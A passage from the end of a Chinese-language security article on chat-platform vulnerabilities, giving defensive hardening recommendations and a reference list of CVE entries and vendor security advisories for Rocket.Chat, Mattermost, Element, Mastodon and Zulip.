  5. 最小权限:服务运行使用最小权限账户,限制文件系统访问范围
  6. 安全审计:定期审查管理 API 访问日志,监控异常的认证失败和权限提升尝试
  7. WAF 规则:部署针对 SSRF、XSS、路径穿越、XXE 的 WAF 规则

0x08 参考资料

  1. NVD — CVE-2021-22910: https://nvd.nist.gov/vuln/detail/CVE-2021-22910
  2. CISA KEV — Rocket.Chat: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  3. Rocket.Chat Security Advisories: https://github.com/RocketChat/Rocket.Chat/security/advisories
  4. Mattermost Security Updates: https://mattermost.com/security-updates/
  5. NVD — CVE-2022-21704: https://nvd.nist.gov/vuln/detail/CVE-2022-21704
  6. Element Web Security — CVE-2022-39348: https://github.com/element-hq/element-web/security/advisories/GHSA-xv4h-4g7r-6j5r
  7. Matrix Synapse Security: https://element-hq.github.io/synapse/
  8. Mastodon Security Advisories: https://github.com/mastodon/mastodon/security/advisories
  9. NVD — CVE-2024-22433: https://nvd.nist.gov/vuln/detail/CVE-2024-22433
  10. Zulip Security Documentation: https://zulip.readthedocs.io/en/stable/production/security.html
  11. SSRF in Modern Web Applications: https://portswigger.net/web-security/ssrf
  12. SAML Security Best Practices: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_SAML